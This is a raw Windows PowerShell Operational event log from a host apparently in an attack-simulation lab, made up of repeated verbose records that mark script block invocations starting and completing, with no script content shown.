ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033523
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033522
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033521
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033520
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033503
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033498
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033497
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033475
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033473
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033472
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033471
Keywords=None
